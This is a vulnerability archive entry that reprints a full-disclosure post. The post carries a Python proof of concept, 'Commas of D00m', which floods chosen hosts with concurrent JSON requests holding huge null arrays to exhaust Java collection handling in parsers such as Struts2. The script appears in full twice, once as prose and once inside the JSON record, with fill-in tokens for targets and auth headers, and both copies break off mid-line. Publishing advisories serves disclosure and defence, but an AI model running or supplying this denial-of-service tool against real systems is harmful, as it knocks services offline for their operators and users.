GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0096

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
VLAI
Title
JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
Summary
On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March 2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy ```python #!/usr/bin/python3 # --- # name: Collection-size overflow tester # category: Testing and scanning # tags: dos, payload, collection-size, json, flood, load, http # description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size limits. # placeholders: # - token: "@@HOSTS@@" # field: hosts # kind: list # format: python # label: Hosts # - token: "@@CONTENT_TYPE@@" # field: content_type # kind: text # label: Content-Type # default: application/json # - token: "@@PATH@@" # field: path # kind: text # label: Request path # optional: true # default: / # - token: "@@HEADERS@@" # field: headers # kind: map # format: python # label: Extra headers, like the cookie and authorisation headers # optional: true # - token: "@@PARALLEL_COUNT@@" # field: parallel_count # kind: text # label: Parallel count (concurrent threads) # optional: true # default: 40 # - token: "@@TOTAL_CONNECTIONS@@" # field: total_number_of_connections # kind: text # label: Total connections # optional: true # default: 1000 # - token: "@@RECREATE_PAYLOAD@@" # field: recreate_payload # kind: text # label: Recreate payload file (true/false) # optional: true # default: true # - token: "@@PAYLOAD_FILE@@" # field: payload_file # kind: text # label: Payload file # optional: true # default: prebuilt_payload_tmp # - token: "@@PAYLOAD_LEFT@@" # field: payload_left # kind: text # label: Payload left (before the null array) # optional: true # default: {"serviceTypes": [ # - token: "@@PAYLOAD_RIGHT@@" # field: payload_right # kind: text # label: Payload right (after the null array; blank uses the default) # optional: true # - token: "@@STEP@@" # field: step # kind: text # label: Step # optional: true # default: 1 # - token: "@@MAX_COLLECTION_SIZE@@" # field: max_collection_size # kind: text # label: Max collection size # optional: true # default: 1048500 # --- """Flood a host with oversized JSON payloads to probe collection-size limits. Builds a payload whose array holds a very large number of ``null`` entries -- enough to strain a server-side (Java) collection -- and fires it at each host with a configurable amount of concurrency, tallying the status codes seen (413s and 5xx especially) and logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one host are required. Usage: python collection_size_overflow.py """ import concurrent.futures import os import random import string import time from datetime import datetime, timezone import requests # REPLACE/ADJUST THESE config = { 'hosts': @@HOSTS@@, 'paths': ['@@PATH@@' or '/'], 'content_type': '@@CONTENT_TYPE@@', 'extra_headers': @@HEADERS@@, 'parallel_count': int('@@PARALLEL_COUNT@@' or 40), 'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000), # Data for the payload generation 'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'), 'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp', 'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [', 'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}', 'step': int('@@STEP@@' or 1), 'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500), # The maximum Java collection size is 2147483647; other sizes worth trying: # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747, # 67105747, 114500747 } def count_status_codes(responses): """ Walks through the responses and counts the status codes Args: responses (list[Response]): List of response objects Returns: dict: A dictionary with counts for each of the status codes that we monitor """ try: with open('request-responses.txt', 'a') as f: for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]: # Write response f.write("Response:\n") for header, value in response.headers.items(): f.write(f"{header}: {value}\n") f.write(f"{response.text}\n") # Add separator between entries f.write("-" * 50 + "\n") print(f"Successfully wrote responses to request-responses.txt") except Exception as e: print(f"Error writing to file: {str(e)}") counts = { '2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]), '4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]), '400': len([r for r in responses if r is not None and r.status_code == 400]), '402': len([r for r in responses if r is not None and r.status_code == 402]), '403': len([r for r in responses if r is not None and r.status_code == 403]), '404': len([r for r in responses if r is not None and r.status_code == 404]), '413': len([r for r in responses if r is not None and r.status_code == 413]), '429': len([r for r in responses if r is not None and r.status_code == 429]), '5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]), '500': len([r for r in responses if r is not None and r.status_code == 500]), '502': len([r for r in responses if r is not None and r.status_code == 502]), '503': len([r for r in responses if r is not None and r.status_code == 503]), '504': len([r for r in responses if r is not None and r.status_code == 504]) } for resp in responses: if resp is not None: if 500 <= resp.status_code < 600: print(f'{response.headers}') print(f'{resp.text}') else: print(f'We have a response of {resp}') return counts def get_payload(recreate_payload=False): """ Grabs the payload that we are going to send Args: recreate_payload (bool): Whether we should stomp over the payload file if it exists Returns: str: The payload to be sent """ sequential = config['max_collection_size'] * 95 // 100 if recreate_payload or os.path.exists(config['payload_file']) == False: with open(config['payload_file'], 'w', encoding='utf-8') as file: file.write(config['payload_left']) for i in range(1, sequential, 1): file.write(f'null,') for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']): file.write('null,') file.write(config['payload_right']) with open(config['payload_file'], 'r', encoding='utf-8') as file: return file.read() def make_request(url, data=None, cookie_string=None): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', } # Caller-supplied headers first, then the required Content-Type so it wins. headers.update(config['extra_headers']) if config['content_type']: headers['Content-Type'] = config['content_type'] if cookie_string: headers['Cookie'] = cookie_string try: session = requests.Session() req = requests.Request( 'POST', url, data=data if data else None, headers=headers, ) prepared = session.prepare_request(req) # --- Print the exact request --- # print(f"{prepared.method} {prepared.path_url} HTTP/1.1") # for header, value in prepared.headers.items(): # print(f"{header}: {value}") # print() # blank line separating headers from body # if prepared.body: # # Print first 500 chars of body to avoid flooding the terminal # print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}") # print("=" * 50) # -------------------------------- response = session.send(prepared) #print(f'RRR: {response.status_code}') #print(f'FFF: {response.headers}') #print(f'DDD: {response.text}') return response except Exception as e: print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}') return None def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None): """ Kicks off requests to run each query and then waits for the responses collecting them into a list Args: url (str): URL to make requests to data (str): The data to pass to the request num_threads (int): Number of threads to use num_runs (int): Number of requests to to make (in total) cookie_string (str): Any cookies to include Returns: list[Response]: A list of responses """ with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)] responses = [f.result() for f in concurrent.futures.as_completed(futures)] return responses def main(): # Clear our request/responses file with open('request-responses.txt', 'w') as file: pass # Create a random value and set it across the requests random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) # Running the attack print('Running the attack...') ## Exceed the maximum count for items in a Java collection payload = get_payload(recreate_payload=config['recreate_payload']) for host in config['hosts']: path = config['paths'][0] url = f"https://{host}{path}"; print( f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null entries)...") start_time = time.time() responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'], num_runs=config['total_number_of_connections']) end_time = time.time() counts = count_status_codes(responses) # Print results if counts['4xx'] > 0: print(f" {counts['4xx']} 4xxs observed") for status in ['400', '402', '403', '404']: if counts[status] > 0: print(f" {counts[status]} {status}s observed") for status in ['413']: if counts[status] > 0: print(f" {counts[status]} {status}s observed (reduce payload size)") print( f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of {config['parallel_count']} concurrent threads)") if co
Severity
No CVSS data available.
Impacted products
Vendor Product Version CPE status
Json Deserialiser Unconstrained Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Deserialiser Unconstrained",
          "vendor": "Json",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "On 26 October 2025 we published \"Struts2 and Related Framework Array/Collection DoS\", which was followed up on 07 March \n2026 by \"JSON Deserialiser Unconstrained Resource Consumption Quick Overview\".  Today we are publishing a proof of \nconcept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other \nJSON parsers.  We are publishing, in part, because of the theft of our published materials by whitehats, the denial by \nApache, and because we want the community to see what insecure deserialisation really is, rather than the confused \nysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using \nInedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled \"Inedo ProGet Insecure Reflection and CSRF \nVulnerabilities\").  We lovingly call this POC, \"Commas of D00m\".  Use find/replace on the tokens.  Enjoy\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Collection-size overflow tester\n# category: Testing and scanning\n# tags: dos, payload, collection-size, json, flood, load, http\n# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size \nlimits.\n# placeholders:\n#   - token: \"@@HOSTS@@\"\n#     field: hosts\n#     kind: list\n#     format: python\n#     label: Hosts\n#   - token: \"@@CONTENT_TYPE@@\"\n#     field: content_type\n#     kind: text\n#     label: Content-Type\n#     default: application/json\n#   - token: \"@@PATH@@\"\n#     field: path\n#     kind: text\n#     label: Request path\n#     optional: true\n#     default: /\n#   - token: \"@@HEADERS@@\"\n#     field: headers\n#     kind: map\n#     format: python\n#     label: Extra headers, like the cookie and authorisation headers\n#     optional: true\n#   - token: \"@@PARALLEL_COUNT@@\"\n#     field: parallel_count\n#     kind: text\n#     label: Parallel count (concurrent threads)\n#     optional: true\n#     default: 40\n#   - token: \"@@TOTAL_CONNECTIONS@@\"\n#     field: total_number_of_connections\n#     kind: text\n#     label: Total connections\n#     optional: true\n#     default: 1000\n#   - token: \"@@RECREATE_PAYLOAD@@\"\n#     field: recreate_payload\n#     kind: text\n#     label: Recreate payload file (true/false)\n#     optional: true\n#     default: true\n#   - token: \"@@PAYLOAD_FILE@@\"\n#     field: payload_file\n#     kind: text\n#     label: Payload file\n#     optional: true\n#     default: prebuilt_payload_tmp\n#   - token: \"@@PAYLOAD_LEFT@@\"\n#     field: payload_left\n#     kind: text\n#     label: Payload left (before the null array)\n#     optional: true\n#     default: {\"serviceTypes\": [\n#   - token: \"@@PAYLOAD_RIGHT@@\"\n#     field: payload_right\n#     kind: text\n#     label: Payload right (after the null array; blank uses the default)\n#     optional: true\n#   - token: \"@@STEP@@\"\n#     field: step\n#     kind: text\n#     label: Step\n#     optional: true\n#     default: 1\n#   - token: \"@@MAX_COLLECTION_SIZE@@\"\n#     field: max_collection_size\n#     kind: text\n#     label: Max collection size\n#     optional: true\n#     default: 1048500\n# ---\n\"\"\"Flood a host with oversized JSON payloads to probe collection-size limits.\n\nBuilds a payload whose array holds a very large number of ``null`` entries --\nenough to strain a server-side (Java) collection -- and fires it at each host\nwith a configurable amount of concurrency, tallying the status codes seen\n(413s and 5xx especially) and logging any 5xx bodies to\n``request-responses.txt``.  A Content-Type and at least one host are required.\nUsage:\n    python collection_size_overflow.py\n\"\"\"\n\nimport concurrent.futures\nimport os\nimport random\nimport string\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n    \u0027hosts\u0027: @@HOSTS@@,\n    \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n    \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027,\n    \u0027extra_headers\u0027: @@HEADERS@@,\n    \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n    \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n    # Data for the payload generation\n    \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n    \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n    \u0027payload_left\u0027: r\"\"\"@@PAYLOAD_LEFT@@\"\"\" or \u0027{\"serviceTypes\": [\u0027,\n    \u0027payload_right\u0027: r\"\"\"@@PAYLOAD_RIGHT@@\"\"\" or \u0027\"IP_TUNNEL\"]}\u0027,\n    \u0027step\u0027: int(\u0027@@STEP@@\u0027 or 1),\n    \u0027max_collection_size\u0027: int(\u0027@@MAX_COLLECTION_SIZE@@\u0027 or 1048500),\n    # The maximum Java collection size is 2147483647; other sizes worth trying:\n    # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,\n    # 67105747, 114500747\n}\n\n\ndef count_status_codes(responses):\n    \"\"\"\n    Walks through the responses and counts the status codes\n\n    Args:\n        responses (list[Response]): List of response objects\n\n    Returns:\n        dict: A dictionary with counts for each of the status codes that we monitor\n    \"\"\"\n    try:\n        with open(\u0027request-responses.txt\u0027, \u0027a\u0027) as f:\n            for response in [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]:\n                # Write response\n                f.write(\"Response:\\n\")\n                for header, value in response.headers.items():\n                    f.write(f\"{header}: {value}\\n\")\n                f.write(f\"{response.text}\\n\")\n\n                # Add separator between entries\n                f.write(\"-\" * 50 + \"\\n\")\n\n        print(f\"Successfully wrote responses to request-responses.txt\")\n\n    except Exception as e:\n        print(f\"Error writing to file: {str(e)}\")\n\n    counts = {\n        \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n        \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n        \u0027400\u0027: len([r for r in responses if r is not None and r.status_code == 400]),\n        \u0027402\u0027: len([r for r in responses if r is not None and r.status_code == 402]),\n        \u0027403\u0027: len([r for r in responses if r is not None and r.status_code == 403]),\n        \u0027404\u0027: len([r for r in responses if r is not None and r.status_code == 404]),\n        \u0027413\u0027: len([r for r in responses if r is not None and r.status_code == 413]),\n        \u0027429\u0027: len([r for r in responses if r is not None and r.status_code == 429]),\n        \u00275xx\u0027: len([r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]),\n        \u0027500\u0027: len([r for r in responses if r is not None and r.status_code == 500]),\n        \u0027502\u0027: len([r for r in responses if r is not None and r.status_code == 502]),\n        \u0027503\u0027: len([r for r in responses if r is not None and r.status_code == 503]),\n        \u0027504\u0027: len([r for r in responses if r is not None and r.status_code == 504])\n    }\n    for resp in responses:\n        if resp is not None:\n            if 500 \u003c= resp.status_code \u003c 600:\n                print(f\u0027{response.headers}\u0027)\n            print(f\u0027{resp.text}\u0027)\n        else:\n            print(f\u0027We have a response of {resp}\u0027)\n    return counts\n\n\n\ndef get_payload(recreate_payload=False):\n    \"\"\"\n    Grabs the payload that we are going to send\n\n    Args:\n        recreate_payload (bool): Whether we should stomp over the payload file if it exists\n\n    Returns:\n        str: The payload to be sent\n    \"\"\"\n    sequential = config[\u0027max_collection_size\u0027] * 95 // 100\n    if recreate_payload or os.path.exists(config[\u0027payload_file\u0027]) == False:\n        with open(config[\u0027payload_file\u0027], \u0027w\u0027, encoding=\u0027utf-8\u0027) as file:\n            file.write(config[\u0027payload_left\u0027])\n            for i in range(1, sequential, 1):\n                file.write(f\u0027null,\u0027)\n            for i in range(sequential + 1, config[\u0027max_collection_size\u0027] + 1, config[\u0027step\u0027]):\n                file.write(\u0027null,\u0027)\n            file.write(config[\u0027payload_right\u0027])\n    with open(config[\u0027payload_file\u0027], \u0027r\u0027, encoding=\u0027utf-8\u0027) as file:\n        return file.read()\n\n\ndef make_request(url, data=None, cookie_string=None):\n    headers = {\n        \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \nChrome/137.0.0.0 Safari/537.36\u0027,\n        \u0027Accept\u0027: \u0027application/json, text/javascript, */*; q=0.01\u0027,\n    }\n    # Caller-supplied headers first, then the required Content-Type so it wins.\n    headers.update(config[\u0027extra_headers\u0027])\n    if config[\u0027content_type\u0027]:\n        headers[\u0027Content-Type\u0027] = config[\u0027content_type\u0027]\n    if cookie_string:\n        headers[\u0027Cookie\u0027] = cookie_string\n\n    try:\n        session = requests.Session()\n        req = requests.Request(\n            \u0027POST\u0027,\n            url,\n            data=data if data else None,\n            headers=headers,\n        )\n        prepared = session.prepare_request(req)\n\n        # --- Print the exact request ---\n        # print(f\"{prepared.method} {prepared.path_url} HTTP/1.1\")\n        # for header, value in prepared.headers.items():\n        #     print(f\"{header}: {value}\")\n        # print()  # blank line separating headers from body\n        # if prepared.body:\n        #     # Print first 500 chars of body to avoid flooding the terminal\n        #     print(f\"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}\")\n        # print(\"=\" * 50)\n        # --------------------------------\n\n        response = session.send(prepared)\n        #print(f\u0027RRR: {response.status_code}\u0027)\n        #print(f\u0027FFF: {response.headers}\u0027)\n        #print(f\u0027DDD: {response.text}\u0027)\n        return response\n    except Exception as e:\n        print(f\u0027Error (at {datetime.now(timezone.utc).strftime(\"%Y%m%dT%H%M%SZ\")}): {e}\u0027)\n        return None\n\n\ndef run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):\n    \"\"\"\n    Kicks off requests to run each query and then waits for the responses\n    collecting them into a list\n\n    Args:\n        url (str): URL to make requests to\n        data (str): The data to pass to the request\n        num_threads (int): Number of threads to use\n        num_runs (int): Number of requests to to make (in total)\n        cookie_string (str): Any cookies to include\n\n    Returns:\n        list[Response]: A list of responses\n    \"\"\"\n    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:\n        futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]\n        responses = [f.result() for f in concurrent.futures.as_completed(futures)]\n    return responses\n\n\ndef main():\n    # Clear our request/responses file\n    with open(\u0027request-responses.txt\u0027, \u0027w\u0027) as file:\n        pass\n\n    # Create a random value and set it across the requests\n    random_value = \u0027\u0027.join(random.choices(string.ascii_letters + string.digits, k=16))\n\n    # Running the attack\n    print(\u0027Running the attack...\u0027)\n    ## Exceed the maximum count for items in a Java collection\n    payload = get_payload(recreate_payload=config[\u0027recreate_payload\u0027])\n    for host in config[\u0027hosts\u0027]:\n        path = config[\u0027paths\u0027][0]\n        url = f\"https://{host}{path}\";\n        print(\n            f\"Attacking {url} with a payload of size {len(payload)} (using {payload.count(\u0027null,\u0027)} non-null \nentries)...\")\n\n        start_time = time.time()\n        responses = run_concurrent_requests(url, data=payload, num_threads=config[\u0027parallel_count\u0027],\n                                            num_runs=config[\u0027total_number_of_connections\u0027])\n        end_time = time.time()\n\n        counts = count_status_codes(responses)\n\n        # Print results\n        if counts[\u00274xx\u0027] \u003e 0:\n            print(f\"  {counts[\u00274xx\u0027]} 4xxs observed\")\n            for status in [\u0027400\u0027, \u0027402\u0027, \u0027403\u0027, \u0027404\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed\")\n            for status in [\u0027413\u0027]:\n                if counts[status] \u003e 0:\n                    print(f\"    {counts[status]} {status}s observed (reduce payload size)\")\n\n        print(\n            f\"    {counts[\u0027429\u0027]} 429s observed (out of {config[\u0027total_number_of_connections\u0027]} runs at a rate of \n{config[\u0027parallel_count\u0027]} concurrent threads)\")\n\n        if co"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:55:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/117"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://{host}{path}\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/117"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "JSON Deserialiser Unconstrained Resource Consumption Proof of Concept",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0096",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/117",
            "automated": true,
            "contentSha256": "19cbf491b9e597b72dad991fddb1b6590e2d29ed3076b03b24525c29c3183b32",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/117",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-29T00:11:02Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T11:55:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0096"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…